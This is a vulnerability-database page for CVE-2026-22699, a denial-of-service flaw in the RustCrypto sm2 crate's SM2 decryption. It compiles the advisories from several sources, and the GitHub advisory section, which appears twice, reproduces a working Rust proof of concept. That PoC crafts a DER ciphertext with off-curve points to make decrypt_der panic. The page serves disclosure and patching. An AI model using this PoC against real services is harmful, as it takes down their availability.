CVE-2026-22699
RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.
- Record
CVE-2026-22699- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2026-1875
7.5
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.
- Record
EUVD-2026-1875- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-78p6-6878-8mj6
7.5
SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()
Summary
A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.
Affected Component / Versions
-
File:
src/pke/decrypting.rs -
Function: internal
decrypt()(invoked byDecryptingKey::decrypt*methods) -
Affected releases:
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when
None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1
encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().
Proof of Concept (PoC)
examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure
with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),
and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this
produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.
//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//! RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point
use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;
fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
// Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
let mut body = Vec::new();
// INTEGER x
body.push(0x02);
body.push(x.len() as u8);
body.extend_from_slice(x);
// INTEGER y
body.push(0x02);
body.push(y.len() as u8);
body.extend_from_slice(y);
// OCTET STRING digest
body.push(0x04);
body.push(digest.len() as u8);
body.extend_from_slice(digest);
// OCTET STRING cipher
body.push(0x04);
body.push(cipher.len() as u8);
body.extend_from_slice(cipher);
// SEQUENCE header
let mut der = Vec::new();
der.push(0x30);
der.push(body.len() as u8);
der.extend(body);
der
}
fn main() {
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
let dk = DecryptingKey::new(sk);
// x/y are 32-byte values that almost certainly are NOT on the curve
let x = [0x11u8; 32];
let y = [0x22u8; 32];
let digest = [0x33u8; 32];
let cipher = [0x44u8; 16];
let der = build_der(&x, &y, &digest, &cipher);
println!("Calling decrypt_der with DER (len={})...", der.len());
// Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
let _ = dk.decrypt_der(&der);
println!("decrypt_der returned (unexpected) - PoC did not panic");
}
Run locally:
RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std
The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.
###…
- Record
GHSA-78p6-6878-8mj6- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
7.5
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.
- Record
CVE-2026-22699- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
7.5
RustCrypto SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()
RustCrypto: Elliptic Curves is general purpose Elliptic Curve Cryptography (ECC) support, including types and traits for representing various elliptic curve forms, scalars, points, and public/secret keys composed thereof. In versions 0.14.0-pre.0 and 0.14.0-rc.0, a denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input. This issue has been patched via commit 085b7be.
- Record
CVE-2026-22699- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVGHSA-78p6-6878-8mj6
7.5
SM2-PKE has Unchecked AffinePoint Decoding (unwrap) in decrypt()
Summary
A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.
Affected Component / Versions
-
File:
src/pke/decrypting.rs -
Function: internal
decrypt()(invoked byDecryptingKey::decrypt*methods) -
Affected releases:
- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)
Details
The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when
None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1
encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().
Proof of Concept (PoC)
examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure
with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22),
and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this
produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.
//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//! RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point
use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;
fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
// Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
let mut body = Vec::new();
// INTEGER x
body.push(0x02);
body.push(x.len() as u8);
body.extend_from_slice(x);
// INTEGER y
body.push(0x02);
body.push(y.len() as u8);
body.extend_from_slice(y);
// OCTET STRING digest
body.push(0x04);
body.push(digest.len() as u8);
body.extend_from_slice(digest);
// OCTET STRING cipher
body.push(0x04);
body.push(cipher.len() as u8);
body.extend_from_slice(cipher);
// SEQUENCE header
let mut der = Vec::new();
der.push(0x30);
der.push(body.len() as u8);
der.extend(body);
der
}
fn main() {
let mut rng = OsRng;
let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
let dk = DecryptingKey::new(sk);
// x/y are 32-byte values that almost certainly are NOT on the curve
let x = [0x11u8; 32];
let y = [0x22u8; 32];
let digest = [0x33u8; 32];
let cipher = [0x44u8; 16];
let der = build_der(&x, &y, &digest, &cipher);
println!("Calling decrypt_der with DER (len={})...", der.len());
// Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
let _ = dk.decrypt_der(&der);
println!("decrypt_der returned (unexpected) - PoC did not panic");
}
Run locally:
RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std
The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.
###…
- Record
GHSA-78p6-6878-8mj6- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
sm2crates.io |
0.14.0-pre.0 to 0.14.0-rc.4 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22699 is a high vulnerability (CVSS 7.5) in Rustcrypto Elliptic-curves, published January 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.44%, the 38th percentile. No source names a fixed version.
References
github.com/RustCrypto/elliptic-curves/security/advisories/GHSA-78p6-6878-8mj6
github.com/RustCrypto/elliptic-curves/pull/1602
github.com/RustCrypto/elliptic-curves/commit/085b7bee647029bd189e1375203418205006bcab
nvd.nist.gov/vuln/detail/CVE-2026-22699
github.com/advisories/GHSA-78p6-6878-8mj6
github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22699.json
github.com/RustCrypto/elliptic-curves
Left out here: the rest of 2 source descriptions. The JSON record has them.